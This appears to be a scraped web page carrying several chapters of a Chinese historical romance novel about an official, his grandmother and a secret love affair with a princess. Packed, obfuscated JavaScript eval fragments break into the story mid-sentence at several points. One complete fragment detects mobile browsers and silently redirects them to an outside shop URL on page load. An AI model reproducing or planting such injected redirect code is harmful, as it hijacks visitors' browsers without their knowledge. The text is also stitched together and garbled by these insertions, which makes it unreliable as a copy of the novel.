d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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行简看他，“你招她了？” “哪儿敢啊？我又打……”赵四低头装模作样的咳了咳，“我们都是殿下的暗卫，您知道，暗卫最忌讳的是什么？” 什么？ 他一怔，顿时了然—— 将盖了私印的契约交给他，行简道：“老太太的马车大概明天下午到南门。” “小的去接，保证把老夫人伺候得舒舒服服，大人放心！” 行简颔首，“去煮碗汤圆——” 赵四一愣：“啊？啊好嘞！您就请好吧——” 话音未落，他一溜烟的没了踪影。 行简低头微笑，所以，真的不是从酒楼挖来的墙角吗…… *** 走到后院，遥遥便撞上正提着木桶走来的十三娘。 十三一愣，颔首让到一边。 行简却径直走上前，在她面前站定，“十三娘，辛苦了。” 她仿佛有些受宠若惊，蜡黄的脸上浮现几抹红润，但最后，她也只是沉默地点了点头，没有开口。 行简接着道：“你很谨慎，只是事关于她，我一向多心。” 十三娘蓦地抬头，“是小的哪里……” 薛行简微微一笑，“你做的很好。干活动作利落，性格沉默寡言，这都符合你告诉我的那些遭遇。” “那是……” “我迁转的旨意下来后，各府送来了许多礼品，回礼的礼单周到谨慎，我很难相信它出自农妇之手。” 她脸色一白，行简看着她满脸的懊恼，宽慰道：“也不是不能相信，毕竟你也没有做的太出格。只是我更愿意相信另一个可能……” 尤其当他从周易那里得知，陈碌是从围场回来后才突发奇想要教他骑马—— 周易宽慰他的那句——“殿下也在，难怪他今天说话冲的很”，更让他瞬间受到了更大的鼓舞。 她的性子，一向若要人知，做三分也要对方感她十分。 可若不要人知，做尽十分也偏不要人知半分…… 14. 祖母到京 薛老太太是一个地道的乡下老妪。 在她前六十年的人生，出过最远的门，不过是镇子南边的万宁寺，见过的最有钱的人，也就是镇东头的钱庄老板。 四十岁那年，薛老太太白发人送黑发人，和老伴一起拉扯唯一的孙子，到她五十岁时，老伴也先她一步步了黄泉。 所幸孙子争气，年年都是书院的第一，也因此被免了束脩。 折桂的消息传回乡里，老太太那口憋了许多年的气才算真正扬上眉头。 遥遥的，已能瞧见巍峨的城门。 银花宛如一只躁动的麻雀，不停的掀开车帘，“薛奶奶，您看！那就是京城啊！”她张大了嘴巴，“好高的城门啊……比入秋他们垒的草垛可高多了……” 王三一边赶着驴车，一边回头笑道：“这还不是托了咱薛哥和薛奶奶的福，才让咱们有这开眼的机会。” 银花连忙称是，老太太半阖着眼，面上虽然不显，心里却也受用得很。 待到了城门边上，便见一个小厮模样的男子跑近来，不等王三开口，便躬身道：“可是薛老夫人车架？小的薛大人府上当差，今日大人当值，特命小人来接老夫人入府。” 王三连忙点头称是，赵四抬手一挥，立刻从后面冒出两个抬了轿子的人。 “老夫人一路舟车劳顿，”赵四笑道，“进了城就换轿子吧，也舒坦些。” 王三哪见过这等阵仗，里面银花“哗”地掀了车帘，满脸惊喜道：“坐轿子吗？我还没坐过轿子呢！” 车里突然钻出个如花似玉的姑娘，赵四倒抽一口凉气，心底一时间千回百转，面上却迅速恢复了镇定，他一拍脑门，满脸懊悔：，“都怨小的考虑不周，只以为老夫人是一人上京，没成想还带着小姐！老夫人恕罪，小的这就去再雇一顶！” 他刚转身，便听得车帘后传来一道老妇的声音，“一顶就够了，这是我们邻居家的小闺女。” 老太太一开口，银花原本那因“小姐”二字而羞红的脸瞬间一白。 她咬着唇没有说话，眼神却粘在那顶小轿子上，怎么也移不开。 赵四用袖子擦了擦额上不存在的汗，便扶了老太太坐进轿子。 银花便留在驴车上，跟着赵四的轿子不紧不慢的进城来。 *** 日头渐低，白日的酷热逐渐退去。 行简转过街角，走进自己门槛，正碰见立在照壁边上的赵四——对方显然是等他多时。 赵四道：“大人辛苦，小的今天接着老夫人了。” 紧接着，他又压低了声音：“老夫人带来了个姑娘。” 薛行简眉心一跳。 远远地，传来女人的说笑声。 他微一沉思，“何意？” 赵四答道：“说是您邻居的闺女。” 行简点点头，眉头微皱，“我知道了。” 赵四也不再多言。 宅子不大，绕过照壁便能看到堂屋。 行简转过照壁，便瞧见了屋子里的两人。 不等他进屋，老太太先一眼看见了他，“乖孙！” 她几乎是从椅子上跳下来，“快让祖母看看！怎么瘦了那么多？是不是京城的饭吃不惯？” 行简连忙笑着扶住老人，“祖母才是辛苦，这一路跋山涉水，是孙儿不孝！” 老太太眉毛一竖，先给了他一下字，“什么话！你是给咱们老薛家长脸了，是咱们老薛家的大孝子！” 他笑了笑，又将老人搀回椅上，接着，他似是才发现这屋子里还有一个人似的，一脸惊讶道：“祖母，这位是——” “你田二婶子的小闺女，大名叫银花。” “……薛大哥。”银花目光微闪，脸色顿时一红。 眼前的薛大哥竟比年前回乡祭祖时更加俊俏了…… 若说先前做教谕的薛行简是江州城里顶俊俏的儿郎，那现在这个穿着官服，坐在京都自家宅子里的薛行简，便是天神下凡一般的“夺目”了。 行简的目光分毫不动，“田家妹子是来京探亲吗？府上何处，我让人送你去。” 银花一愣，结结巴巴道：“啊……不、不是，我不是来探亲的，我……” 银花求助似的看向老夫人。 行简顺着她的目光看向老夫人，“我刚在前院碰见王三了。” “那你可要好好谢他，这一路多亏他了。”老夫人道。 薛行简笑得温和，“那是自然……还有田家妹子，这一路也辛苦你了。” 他起身一揖，银花连忙摆手。 行简接着道：“我不在祖母身边这些日子也都烦你们一家费心了，回头还要劳田家妹子代我向叔伯婶娘致谢。” 他这边说着，赵四已经眼疾手快的将礼物摆在了桌面上。 “我……不、不是，那个……” 她脸色更红，满眼写着不知所措，甚至还有些疑惑，似是不明白他这究竟是好话还是损话。 而薛行简的目光始终沉着，不辨喜恶。 气氛一时有些僵持。 恰在此时，薛老太太道：“你才回来，一定饿了吧。银花，你去看看后面饭好了没？” 银花顿时如蒙大赦，逃也似的跑了。 赵四也立刻会意地退下，走前还不忘将门也一并掩上。 屋内一时针落可闻。 薛行简垂首不语。 薛老太太鼻子里哼了一声，“你现在当了官了，就瞧不上我们这些小地方来的人了，是吧！” 行简心里一凌，“扑通”一声跪在地上，背却挺得笔直—— “孙儿尚未娶妻，田家妹子也未许人家吧，孤男寡女，难免要传出些流言来，到时候……” 老太太不买他的账，“那你娶了她，不就是了。” 他双眉皱成一团，正要开口，老太太抢先一步—— “你纳她做个妾，与我做个伴，外头你该娶谁娶谁！” 此言一出，门外偷听的赵四不由腹诽，想做伴——养狗啊…… 纳妾…… 薛行简袖中的手握成拳。 “我不会纳妾，”行简义正言辞道，“您要是觉得寂寞，我回头去找媒婆，给您找个伴儿。” “混账！”薛氏怒道，抓起茶杯就要砸他，临了，到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这样想着，他也真的笑出了声。 他的母亲，五年如一日的晨昏定省，从未出错的操持家务，也没跟着三个字挨上过半点关系…… 他却在今天从一个不过数面之缘的人身上听到了这三个字…… *** 天光远去，黑暗悄无声息的漫进屋内。 行简靠在门边，始终保持着那个姿势。 那些沉在过往的记忆，彷如深不可测的泥泞，紧紧的抓着他，不肯放他离去。 “咚咚——”敲门声刺破寂静。 行简睁开眼，才恍觉已经身处一片黑暗。 动了动手指，他声音微哑，“不是急事吗的话，明天再说吧……” 门外没了回应，他只当对方已经知难而退。 在这宅子里，会这样敲门的总共也不过两个…… 薛行简捏了捏眉心，腿脚微微酸麻。 就在他险些再度陷入迷离的回忆中时，门外忽然传来一声叹息。 “大人晚饭用的少，”那声音熟悉得仿佛从梦里传来，“小人放心不下，特意备了几样点心——” 他猛地起身，惊慌失措地拉开门。 他险些直接扑到她身上。 对面的人噗嗤一笑，高悬的月光落在她温柔的眼底。 “怎么，”她对他笑道，“难道大人不想见到我吗？” 15. 情动 寂静的黑暗充斥着每一个角落，连原本微不可闻的呼吸声也清晰起来—— “嚓——”火光在她指尖跃起，明玉举着点燃的蜡烛，就势靠着案台的一边坐下。 行简皱眉，“地上凉，别——” 不等他说完，明玉先在黑暗里拉住了他的手。 薛行简忽然噤声，所有的言语都飞到了九霄云外。 她掌心的温度透过肌肤清晰的传来，他低着头，顺着她的手挨着她坐下。 明玉看了眼他紧抓着她的手，心底微微一叹，单手将托盘上的碗筷递给他，柔声道：“将就一下，被人发现你与仆役暗通款曲可就不好了。” 行简闻言一笑，听话的低头夹菜。 明玉托腮看着他，他吃得很慢，仿佛舍不得什么一般。 她心里一片熨帖，轻声道：：“赵四跟寒碧说你今天很不开心，他心里……颇有些放不下。” “咳——” 薛行简猛地呛了一下，不由抬头看她。 明玉被他突然的动作吓了一跳，连忙替他拍背顺气。 正要开口责他，却不经意正撞上他的眼睛。 一片黑暗中，跃动的烛火正落在他眼底，仿佛一个幽深的漩涡，无声地诱人深入…… 明玉心底一动，猛然间一阵慌乱，她连忙别过头，故作随意地去捡食盒中的另一双筷子。 “谏议多用一些，你最近——” 筷子落在地上，他忽然抱住了她。 明玉一愣，连呼吸都轻了。 黑暗中，他的心跳声就压在她的心口。 一时间，黑暗中所有的声音都退去了颜色。 明玉垂下眼，他的手臂略显僵硬地圈着她，是她随时都可以挣开的力道。 她的心忽然被刺痛了。 她回抱住他。 行简手臂一震，立刻更紧地抱住了她。 明玉她靠在他胸口，听见头顶上的呼吸声渐渐恢复平稳。 她心底一涩，这样克制的隐忍，还是那个敢在大明宫中向她递信物的人吗…… 暗淡的月光里，看不清他腰间荷包上的绣字，明玉轻轻摩挲过那柔软的不了，“这也是你母亲留给你的吗？” “嗯。”他在她头顶发出含糊的医生。 明玉笑了笑，“我就没有这样好的绣工。” 行简心底一动，她声音里暗含的歆羡和温柔彷如三月的春风，瞬间驱散了他心底的寒凉，他忽然低头，吻了吻她的发心。 明玉一愣。 他低声道：“我娘她……曾是娼妓。” 夜风忽然吹开了舷窗，纱帐随风而动，明玉更紧地握住他的手。 似乎开了头，后面的话也就不再那般难以启齿。 行简抱着她，声音微哑：“我娘原本出身官家，不幸家中获罪，没入青楼。从我有记事起，祖母便没给过她半点好脸色……后来还趁父亲不在的时候把她赶出了家门。 “那之后，父亲便带着我们搬到了镇上。父亲是独子，便常常两边来回……有一次在路上碰上了劫匪，便也没有回来。我母亲一个人撑了两年，也染病去了。我便回到村里与祖父母同住。” 他轻轻吸了一口气，“……她把所有的罪过都算在我娘头上，每一提起，必是连篇咒骂……”他的声音一抖，“我心里曾经很恨她……但凡她能对我娘好那么一点……就一点呢……” 明玉的心一颤，他话尾掩不住的颤抖搅乱了她的心，她从他怀里抬起头，轻轻捧住他的脸，行简对她笑了一下。 “我小时候曾为此跟她大吵过一架，结果……却只换来她对我娘变本加厉的刁难……” 他眼中闪闪烁烁，彷如满天星子。 明玉温柔的看着他，“你娘一定是个很温柔的人。” 行简贴着她的掌心对她笑，“是，她从来没有对生活发过半句怨言，也不曾怨恨过任何人…… “她甚至教导我不该这样顶撞祖母，因为她不曾亏待我，也并不欠她什么，没有理由一定要对她好……” 明玉心底喟叹，可偏偏就是这么温柔的一个人，却一生不幸…… 行简道：“没几年，祖父也去了，那时候我已经十五岁，祖母却说什么也要供我继续念书。为此，她天不亮就开始忙活，一个人推着车子走二十里路去镇口赶早市卖米粉，生了病也舍不得吃药……” 滚烫的泪水砸在她手上，行简看着她，“我又有什么资格恨她，我有时候更恨我自己……” 明玉的心一阵阵抽痛，眼前的人哪里还是那个朝堂上不动声色，文章里运筹帷幄的言官薛行简。 明玉跪起身抱住他，“你爹娘的死，错在那群土匪，不是你祖母，更不是你……即便你们不曾搬出去，你爹那天也可能仍要走那条路……” 他突然抬起头来，目光明亮。 她后面的话也一窒，“怀瑾，你——” 月光凝成清辉，淌进她的心里，扯动她的心跳。 “婉婉……” 明玉呼吸一轻，心底却忽然一震，霎时间，似有一股电流流遍四肢百骸。 明玉忽然勾住他的脖子，倾身吻上他的唇。 行简呼吸一窒，整个人微微一呆，而很快，他揽住她的腰，直接将她按在地上。 男女的呼吸声，衣料的摩擦声，折本的掉落声，在这漆黑的夜里，刺目得清晰。 行简情不自禁的吻上明玉的脸，下颌，脖颈…… 她在他耳边轻轻喘/息，他的手停在她的肩侧。 黑暗放大了感官，也放大了潜伏在白天的所有欲望。他又吻上她的唇，辗转厮磨，唇舌缠绵。 “咚咚咚——”敲门声忽然响起。 彷如一声霹雳在二人头顶炸开。 银花的声音从门外响起：“薛大哥……是、是我……你……我看你晚饭用的不多，就拿了些点心给你，你、你是不是睡了……” 明玉立刻回神，一把推开薛行简，捂住了他的嘴。 薛行简拿下她的手，在手背轻轻一吻。 明玉当即瞪了他一眼，他却得逞般对她微微一笑。 明玉目光一寒，他立刻掩面咳了一声。 “多谢，”他没有起身，声音却已染了先前的冷漠，“夜半深更，不好与妹子开门……何况妹子是客，不必做这些。” 门外的银花咬了咬唇，她本想说她不介意做这些……但他的冷漠仿佛一道高不可攀的墙，令墙外的她本能的发憷。 但想起薛老太太的耳提面命，她又不愿这般无功而返。 正在她酝酿情绪，要再坚持一把时，身后忽然传来赵四的声音。 “哎呦，这不是田姑娘吗！” 银花一愣，不等她反应过来，赵四已经几步上前，夺过了她手中的托盘，“您是客人，这样的事儿怎么能劳烦您呢，要是让大人知道了非扒了我们的皮不可！” “我……” “哎呀，大人准是已经睡了，姑娘也早点儿安置吧。” 赵四笑得滴水不漏，银花张了张嘴，而他不等她开口，便一溜烟消失在了走廊尽头。 银花欲哭无泪，只得跺跺脚，悻悻地离开。 脚步声远去，门外再度安静下来。 薛行简叹了口气，一抬头，正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956373|193136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撞见明玉正似笑非笑的眼睛。 他头皮一麻，低头将蜡烛点亮。 “祖母想我纳她为妾，我已经拒绝了……”他慢吞吞道。 他未曾细说，她却已全部明白。 明玉握住他的手，“家和万事兴。这偌大的京城里百万人口，她却只认识你。换句话说，你是她唯一的依靠了。” 行简抬头看她，明玉的声音不由飘远。 “一个人突逢陌生的环境，总容易被恐惧抓住，总想要迫不及待的抓住熟悉的一切。” 她的眼神落在远处，“她怨恨你娘，觉得是她夺走了自己的儿子。她害怕同样的事发生在你身上……”她回过头来，看着他若有所思的眼睛突然笑了笑，“她知道你将来很大可能要娶这京城里的姑娘为妻，但这些姑娘，她一个都不认识……” 行简敛眸，“所以……” “女人的事有时候还是要女人来解决。” 他惊讶地看向她。 明玉微微歪头，“谏议，你要知人善用啊。” *** 事情解决的速度远超行简的预料。 翌日，他刚从府衙归家，便被告知田姑娘要准备回江州了。 他心里惊讶，面上却全然不显，跟着说了几句无关痛痒的话，忽然发现自己大概确实让“明珠暗投”了。 傍晚，行简独自绕到后厨。 赵四正蹲在台阶上嗑瓜子，十三娘先瞧见了他。 “大人——”。 赵四立刻跳起来，“大人怎么来了？是饿了还是渴了？吃瓜子吗？” 行简看了眼他递过来的手，从善如流的抓了几颗，“黄大娘——” “小的只比大人大五岁……” 行简一默，“黄姐——” “……您还是叫小的十三吧……” “可否请问，你对祖母都说了什么？” 十三娘叹了一声，“老夫人心里最重要的是您，只要关系到您，她都会让步的。” 行简颔首，示意她说下去。 “小的只是让老夫人知道您半年就从八品到了四品，娶妻自然不急，而越是高门的小姐越是忌讳婚前纳妾……而且您心里不愿意，强行留下田姑娘，也会伤了您的心……” “你做得很好。”行简捧着瓜子，挨着台阶坐下，“京城的世家关系，人情往来，你都明白，对吗？” 十三点头。 他又扭头看向赵四，“这几天带着王三在京中跑的如何？” 赵四送到嘴边的瓜子一顿，“……大人”他顺着他的目光一顿，“……真是慧眼如炬，慧眼识英雄……” 很快，他在他逐渐玩味的眼神中及时打住，“咳，大人在京城根基浅，日后人情往来也需要银钱不是，巧妇难为无米之炊啊——” 行简被他逗笑，“所以，你跑了那么久的结果是什么？” “咳咳，民以食为天，咱们小本买卖，不如先从米铺入手？” 行简点头微笑，接着问：“你觉得王三如何？” “看他样子，是想留在京都，但不甚通达，恐怕要吃些苦头。” “我相信你的眼光，”行简笑道，“王三与我提过，他想在京城扎根，日后再接家眷过来。如何锤炼他，我全权交给你。” 赵四捏着瓜子突然直起腰，“大人这就言重了……” “你怕了？” “不不不！” “人情往来上由十三娘把关，其他的我全权交给你。”他的声音带着让人服从的力量。 赵四眼睛一亮，立刻蹲下来和他一起在台阶上嗑瓜子，“您就请好吧！” 16. 七夕 转眼到了七夕这天，天朗气清，惠风和畅。 大明宫内，朱红的高墙下，薛行简一身绯色的官袍，快步穿过空无一人的官道。 当值的宫娥打起珠帘，行简踏过长乐殿的门槛。 听到熟悉的脚步声，明玉从案后抬起头。 “殿下万安，”他对她行礼，“张大人临时抱恙，所以今天由臣代为讲学。” 每一个字都滴水不漏，明玉挑了挑眉，不置可否。 寒碧将薛行简递上的书送到她面前，明玉打开扉页，示意他可以开始。 薛行简微微颔首，他在她面前，一如在皇帝面前那般，虽然带了书来，却并不翻阅，便抑扬顿挫地讲述起来。 明玉顺着他的话翻过扉页，不禁微微有些走神。 他们隔着这不远不近的距离，仿若这世上任何两个陌生人一般。 蓦地，明玉的手微微一顿。 书页里赫然写着两三行短字，若是旁人来看，定因为不过是简单的笔记，他们却曾事先约定过，明玉一眼便看出这是约定的信息。 下一刻，她便若无其事地翻过了这一页。 时间悄悄过去，窗外的阳光和煦的落在地板上，粉紫的花瓣静静飘落。 明玉瞥他一眼，行简始终半低着头，仿若一个最谨慎守礼的臣子。 自那次在黑夜中拥吻，已经过去了近两个月，这两个月，他们一个忙着清理户部，一个忙着适应兰台的各项工作，竟有大半的时间，只能在前朝后宫擦肩而过。 而便是能不经意的一瞥，也常常能令心中熨帖许久。 讲学结束，薛行简躬身告退。 明玉望着他的身影一直走出长乐殿，消失在照壁之后。 寒碧将刚熬好的眼窝端到她面前，见她出神的样子，不由轻轻唤了她一声。 明玉立刻回神，正有不知从何处飞来的燕子，落在照壁翘起的檐角上。 这样的景象在过往不知出现过多少回。 明玉笑道：“像这样，好像所有的一切都静止了，甚至可以看见眼前浮动的微尘——就这一瞬间，好像所有的感情都淡去了，心底落满尘埃，灵魂困守于此……” 寒碧没有接话。 明玉望着照壁上微微刺目的白光，可就在这时，有个人突然闯了进来。 阳光透过他撕裂的缝隙照进来，那些压在名位、权力、荣耀之下的感情又蠢蠢欲动起来。 尽管只是不能宣之于口的隐秘，却突然让她再一次触到了阳光的温度。 明玉垂下眼，她对今晚的期待，越来越深了…… 想到此，她不由露出笑容。 明媚的日光落在她眉间，竟依稀有几分少女的光彩。 一旁的寒碧忽然眼眶一热，连忙低下了头。 *** 夜幕降临，熙熙攘攘的街道上，尽是此起彼伏的叫卖声。 今夜七夕，皇上特许，取消宵禁。 白舒宁一身水蓝色的襦裙，每看一出都觉得喜欢，一双翦水秋瞳，在万千灯火的映照下，也毫不逊色。 小萍的眉头却是越皱越紧，“小姐，咱们回去吧，你刚跟周家公子定了亲，这时候再一个人来逛夜市……让人看见了不好……” 白舒宁随手拿起摊边的一个青铜面具，“你懂什么，现在不出来，以后就更出不来了！” 她将面具比在自己脸上对她晃了晃，“快别哭丧着脸了——”她声音一粗，“否则我就把你抓走——哈哈哈——” “小姐！” 白舒宁又拿起另一个面具戴在小萍脸上，“这样别人就认不出了。” 小萍扁扁嘴，只能无可奈何地跟上。 白舒宁笑得开怀，又拉着她到对面的一个摊位。 琳琅满目的台面上，都是各样的钗环。 台后的大娘搓着手笑道：“这都是老婆子我亲手做的，不是什么贵重的材料，就是图个别致。” 有镂空的银簪，碧绿的玉簪，浅粉的花钗，蓦地，她的目光一顿，抬手便去拿那玉簪旁的发钗，却有人捷足先登，抢先一步拿起了花钗。 那是一只白到几乎透明的手，剔透的木槿花钗落在修长的指间，宛如初绽。 白舒宁的脸倏地一红，竟是个极其清俊的书生。 “老板娘，这钗怎么卖？” 他声音温润，宛如天边清泉，蜿蜒的流过铺满鹅卵石的小溪。 薛行简白衣似雪，两缕乌发垂在胸前，更柔和了他的面庞。 他付了钱，向白舒宁看来。 白舒宁的心一跳，便见他向她一礼，“多谢姑娘割爱。” 白舒宁呐呐地点头，薛行简的身影已经淹没在人潮之中。 小萍恨铁不成钢：“小姐！” “啊！” “您是要成婚的人了！” “那我也不能拦着人家喜欢我不是？” “您哪儿看出人家喜欢您了……” “他不喜欢我买我喜欢的钗干什么？” 小萍一窒，“好像……也对……” 白舒宁笑道：“当然对！” *** 夜色如穹，远处的河边，灯光点点，正聚拢着颜色俏丽的青年男女们。 薛行简穿过人潮，脚步忽然一顿，他眼底忽然亮了一下。 碧水河边，明玉一身碧色的长袍，玉冠束发，哪怕立于人群之中，依然如同一位遗世独立的翩翩公子。 薛行简勾唇一笑，也是他在水一方的佳人。 他并没有上前，而是转身上了一旁的观槿楼。 三楼的雅间里已摆好了清酒，行简将窗子打开，温柔的夜风立刻拂面而来。 他低头去寻她，正对上明玉看来的眼神。 行简一笑，遥遥的夜色仿佛瞬间化作可以触摸的实体，与他隔着千万人相望的人突然如在咫尺之间一般。 他摸摸袖中的花钗，她绣着木槿花纹的裙摆又浮现在他眼前。 炫目的光忽然映亮了对面的楼台，行简抬头去看，烟花的声音瞬间炸开。 明玉的身影几乎要淹没在人潮之中，他皱了皱眉，转身下了楼。 苍穹之中，绚烂的烟花热烈的绽放。 坠落的流光与腾升的火光在空中相遇，又迅速擦肩而过，仿若一场永不停息的盛宴。 整个大地仿佛都被映亮，烟花炫烂的光落在人群的头顶。 明玉看到他下了楼，一回头，果然在如潮的背影中看见了他。 烟火落进她的眼底，她如玉的面庞仿佛在发光。 行简脚步一顿，继而更努力地向她走来。 他违背了他们的约定，原本只是“楼台河堤遥相顾”，可看到她一个人孤零零落在人群中的那一瞬间，他突然又改了主意。 时间突然慢下来，欢呼的人声，烟花的腾空声，都突然远去。 明玉心底叹息，却又忽然感到熨帖。 河面上泛起粼粼的波光，映在河边无数青年少艾欢笑的脸上。 笑语盈盈暗香去，终不似少年游。 她也曾与少年的玩伴一起在河边嬉笑玩闹，如今物是人非，昔日的光景，死的死，散的散…… 瞬间，一股滔天的悲凉忽然在这喧闹的人群中抓住了她。 明玉眼底遽痛，脚下仓皇地转身，却被拥挤的人潮裹挟，如同不可逆转的时间洪流一般…… 就在这时，忽然有人抓住了她的手。 明玉猝然抬头，却是一张青铜獠牙的鬼面。明玉一呆，那双面具下的眼睛却忽然对她笑了笑。 同时，一张赤面獠牙的面具落在了她脸上，瞬间将她与人流分隔开来。 他好像对她说了什么。 嘈杂的人群中，她一个字都没听见。 行简拉起她的手，将她半护在怀里。 明玉脸一红，才明白他刚才说的是得罪二字。 明玉摸了摸脸上的面具，庆幸他现在看不到她的狼狈。 离开了人群，他拉着她飞快的跑进一个小巷。 明玉被他拽着手飞奔，看他拐过一个又一个巷口，行人越来越少，街道越来越暗。 明明连他要去哪儿都不知道，心里却没来由的安心。 终于，他拉着她，在一处僻静的老宅前停下。 宅顶上一株高可参天的老槐树张开臂膀，明玉看了眼气息未定的薛行简，故意笑道：“先生这身子，怕还是要多历练些才好。” 薛行简连头都没抬，“只是第一次拉姑娘的手，有些紧张。” 明玉的脸顿时一红，原本要奚落他的话顿时哽在喉中，半句也说不出。 行简好笑地看她一眼，仿佛能透过面具直接看到她绯红的脸颊一般。 “夫人原来这么容易害羞。” 明玉瞪他一眼，他立刻讨饶地握住她的手，“夫人愿意跟我来吗？” 树叶沙沙的声音在头顶作响，明玉回握住他的手，上前一步，与他并肩站在一起。 “如卿所愿。” 面具几乎藏不住他笑的弧度，薛行简将门退开，迅速拉着她跳进门内，又反手将门推上。 他将两人的面具摘下，一本正经道：“这是个鬼宅。” 正在四处打量的明玉一愣。 “我没有骗你，”他拉着她向院子深处走去，“因为是鬼宅，所以价钱低，周围也没什么人家。” 明玉一呆，旋即不由失笑。 行简却避开了她的眼睛，“之前听说晚上会有盛大的烟火会，所以才约你在闹市相见……我是第一次约……没 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市井遥对的灵犀一眼，再多的默契，终究没有这一刻相拥的安稳，更让人贴心。 连最后的一丝恐惧也倏然散去，明玉唇角微勾，脸颊贴上他的胸口。 “河岸上都是成双结对的少年少女，我已经离他们太远了……少年时与我结伴相游的人也大都有了新的伙伴，只有我一个人离所有人都越来越远……” 行简握住她的手，“你不是一个人……” 明玉从他怀里抬起头，他对她微微一笑，“大概只要你点头，韩侍郎一家都会陪你游七夕夜会的……” 她蓦然失笑，气得捶了他胸口一下，却突然话锋一转，“你怎么知道我小字是婉婉？” 惊讶之色在他面上一闪而过，但很快他便满脸无辜地看着她。 明玉纳罕。 他解下腰上的荷包，取出里面的玉佩放到她的手心。 清明的月光落在一侧，明玉细细一看，那中间镂空的月形侧面俨然雕了八个小字。 “婉婉爱女，喜乐安康” 明玉鼻子一酸，眼眶倏地红了。 行简叹了一声，轻轻抱住她。 树叶婆娑的声音挡住了红尘的喧嚣，手指不经意的抚过玉佩温润光滑的纹路，大概曾经，父皇是希望她能自己发现吧，然后满脸惊喜地再向他炫耀…… 可惜，再没有那一天了…… 她忍下涌到眼底的泪水，慢慢恢复了平静，故意与他笑道：“看来郑姑娘对你情有独钟。” 行简一愣，“郑姑娘？” 明玉笑着解释：“今天她的手帕掉在你面前。” “……什么时候？” “在你跟白三姑娘说过话后。” “……白三姑娘？” 她的心情突然好起来，竟不由在他怀里笑了几声—— 薛行简被她笑得心里发毛，他微一沉吟，“是在我买下这只钗的时候吗？” 明玉低头去看，他掌心赫然卧着一只木槿花钗。 她沉默的时间越久，他心里的慌乱越深。 行简忽然意识到，她既贵为公主，衣食穿戴，尽是贡品珍品，这样街边商贩贩卖的货物…… 就在他几乎要收回手的时候，她忽然捡起了他手中的发钗。 虽难免细节的粗糙，却自有一股鲜活灵动，粉雕玉琢的木槿花，竟宛然如生。 明玉垂下眼，“我很喜欢。” 行简顿时松了一口气，什么白三姑娘郑四姑娘都化为烟影。 明玉仰头笑道：“可惜我今天梳的是男子的发髻。” 她将玉佩放回荷包，替他重新系在腰上，果然恋爱使人年轻…… 有一瞬间，她竟仿佛还是那个父母健在万事不愁的公主…… 二人并肩在槐树下坐下，月光静静地落在远方。 明玉轻声道：“我还未及笄之前，经常瞒着母后跑出宫到处疯玩。城西老王头的牛肉面，燕子巷的崔记桂花糕和临街的泥人——” 说到最后，她不无炫耀地看向他，“我有他整套的一百单八将。 “只不过，我已经很久没看过他们了。” 她的脸上依旧带着笑容，却让他心底阵阵抽紧。 那厚重的记忆，他们彼此从未交叠过的那二十年——如同一个牢不可破的高墙，无形中将他们分开。 行简轻轻揽住她的肩膀，“那哪天可以让我开开眼吗？” 明玉失笑，侧头对上他的眼睛，答得异常认真：“好啊。” 红尘不眠，人心不散。 17. 危机 到了七八月的时节，京城进入了雨季。 天空上乌云密布，几乎压得人透不过气来。 道路上的人无不是行色匆匆，就怕这雨猝然打人个措手不及。 忽然，一道惊雷炸开。 豆大的雨点倾盆而下，很快，繁华的街巷便空无一人。 城南的门口，正有一老一少，一前一后，抬着一具棺材走进了四九城。 数十里外的公主府内，温暖明亮，明玉抬手将两本奏折扔进火盆。 火苗一跃而起，迅速吞噬掉白纸黑字的血泪。 明玉回头看窗外，整个天空都阴怖得可怕。 而此时此刻，几条街的城隍庙外，正有一老一少缩在檐下。 檐外暴雨如瀑，秦文生望了望天，从怀中掏出半块饼子，“爹。” 亲老爹一言不发地盯着雨中的街道。手指无意识的放在嘴边，仿佛擎着一个烟斗。 秦文生叹了一声，却什么都说不出口。 是说圣上一定会为他们做主，还是京城的官一样两张口，上下通吃，连成一气，他们所有奔波的努力，不过是让吃掉他们的人更多而已…… *** 暴雨越下越大，就在他们两条街外的宅邸里，薛行简翻开左补阙一早塞给他的折本。 ——对方的意思很明确，是要他领衔上奏，以达天听。 他心里一清二楚，这是是想拿他做筏子—— 如果他真的打算做个遗世独立的言官，他自有千百种借口推辞。 只可惜，他已经选了另一条路…… 薛行简将文书放到一边，事情很简单，是弹劾吏部文书吴忠信收拾贿赂，泄露吏部考核信息。 真的那么简单吗…… 如果他没记错的话，吴忠信是韩俊臣的手下…… 而韩俊臣…… 行简垂下眼，这么快就要逼他站队了吗…… 他起身走到窗边，拂手推开窗，风雨呼地冲进来。 冰凉的雨点打在脸上，他却觉得顿时清爽了许多。 这份折子绝不只他一个人看过…… 他将窗子阖上，将被风雨打湿的袍子脱下，重新回到桌前，将折本又细细地看了一遍。 忽然，眼前骤然一亮，一道闪电劈过天际！ 惊雷声紧随而来，“轰——”地一声，惊得秦文生一跳。 “啪嗒——”半块饼子跌在水里！ 他连忙扑到地上捡起来，身后的大门突然应声而开。 秦文生茫然无措地回过头，从门里走出一位道士模样的青年。 秦老爹连忙站起来，却一个字都说不出来——秦文生连忙从地上爬起，在大雨中不停弯腰，“对不起对不起，这雨太大了，我们这就走这就走——” 说着，便要拉着老爹抬着棺材离开，那道士却摇了摇头。 他向后退了一步，将另一边门也打开，“鄙地简陋，若是不弃，便请进来避雨吧，外边风大。” 秦文生一愣，视线忽然模糊起来。 他吸了吸鼻子，抬手抹去脸上的雨水，“谢、谢谢您……” 他把饼子掖进袖里，低着头去扶秦老爹。 “方丈，你是好人——”秦老爹颤声道。 当夜，城隍庙大火，死伤未知。 *** 雨后的天空总是空前的澄澈洁净。 